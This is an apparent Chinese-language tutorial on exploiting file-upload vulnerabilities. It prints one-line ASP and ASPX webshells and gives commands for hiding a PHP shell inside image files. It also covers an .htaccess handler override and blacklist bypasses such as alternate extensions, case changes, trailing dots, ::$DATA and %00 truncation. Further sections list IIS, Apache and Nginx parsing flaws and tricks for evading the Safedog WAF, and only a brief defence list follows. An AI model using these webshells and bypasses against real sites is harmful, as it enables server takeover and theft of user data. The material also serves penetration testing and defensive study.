这主要看一些文件上传的代码有没有 严格限制用户上传的文件类型,比如,只可以上传.jpg|.png|.gif文件,但是由于代码不严谨,或者只在前端验证这个文件的格式等等,造成了攻击者可以上传任意PHP文件,自定义文件。
可以通过这个漏洞上传后门文件,webshell,可以直接获取网站权限,然后获取服务器的提权,获取内网权限,或去用户信息等等。属于高危漏洞。
ASP
<%eval request( "x")%>
<%execute request( "x")%>
ASPX
<%@ Page Language="Jscript%><%eval(Request.Item["x"],"unsafe");%>
PHP
GIF89a
GIF89a
GIF89a
百科对于.htaccess的解读是:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能.
也就是说如果目标服务器允许用户修改.htaccess文件我们就可以通过它改变文件拓展名或者访问功能来getshell
- (1)服务器脚本语言为PHP
- (2)对应目录下面有可执行的php文件
- (3)服务器使用CGI/FastCGI模式
.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
这里我们不深究它们的具体配置(只用自己会用到的),.user.ini文件同样可以改变用户读取文件和包含文件的权限等,它的使用范围更广,但是条件多了一个(比较重要的)对应目录下有可执行文件。接下来我们看如何构造这两种配置文件。
Linux:
cat shell.php >> shell.png
cat pic.png shell.php >> shell.png
echo 'GIF89a' >> pic.png
windows:
copy pic.png/b+shell.php/a shell.png
1.有些黑名单定义的不可上传文件的后缀名不完整,可以用.php5、.phtml、.phps、.pht文件进行上传,从而实现绕过。
2.上传配置文件.htaccess,在这个文件写上代码
SetHandler application/x-httpd-php
如果有一个文件的名字是x.png,那么这个png文件就会被当作php文件进行解析,这样也可以实现绕过
3.大小写绕过将.phP文件名后缀大写
4.收尾去空绕过,在后缀名加空格(需要在抓到的数据包中加空格,直接在文件后缀名加空格会命名不成功,它会自动删除空格)
5.不删除末尾的点,在后缀名加点(需要在抓到的数据包中加点,直接在文件后缀名加点会命名不成功,它会自动删除点)
6.没有去除字符串::$DATA。如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名。例如:x.php::$DATA,Windows会自动去掉末尾的::$DATA变成x.php,但是这刚好就可以绕过黑名单了。
7.有时没有循环验证,只验证一次,可以使用x.php. .类似的方法进行绕过。(方法不止一种,视情况而定)
1.可以使用%00进行截断。%00只能用于php版本低于5.3的
2.图片马进行绕过
3.条件竞争进行绕过。
白名单要配合其他漏洞进行利用。
如果我们尝试上述的方法进行测试,发现网站确实没有漏洞,这时我们就可以对他的中间件进行测试。
(1) 当建立.asa、.asp格式的文件夹时,其目录下的任意文件都将被IIS当作为asp文件解析。
(2) 当上传文件.asp;*.jpg IIS6.0会将文件当做asp文件解析。
如果对方中间件是apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中的后门代码被执行。例如:x.php.aaa.bbb.ccc.ddd,可以被当作php文件进行解析,从最后一个.ddd开始,apache不认识,就往前走,一直到.php,这样即绕过了验证,有可以进行解析。
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
上传可以上传的文件,在文件地址后加上/x.php,可以让文件以php代码去执行。
我们只需要上传一个空格结尾的文件,即可使PHP解析
如果对方有安全狗一些防护软件,我们应该如何进行绕过
1.要明确上传参数名哪些东西可以更改,哪些不可以
Content-Disposition:一般不可以更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件mime,视情况更改
2.绕过方法
数据溢出,防匹配,比如:filename=“x.php”可以在名字上写入大量的立即数据,让安全狗匹配不到,filename=“aaaaaaaaaasssssssssssfggghgjghtuyrfuy6tfgufujfffx.php”,大量写入,我这里这个量是不够的,自行测试。
符号变异,防匹配,filename=“x.jpg;.php”
数据截断防匹配,(%00;换行)
重复数据防匹配(参数多次写入)
1.后端验证:采用服务端验证模式
2.后缀验证:基于白名单,黑名单过滤
3.MIME验证:基于上传自带类型艰检测
4.内容检测:文件头,完整性检测
5.自带函数过滤
6.WAF防护软件:宝塔、云盾等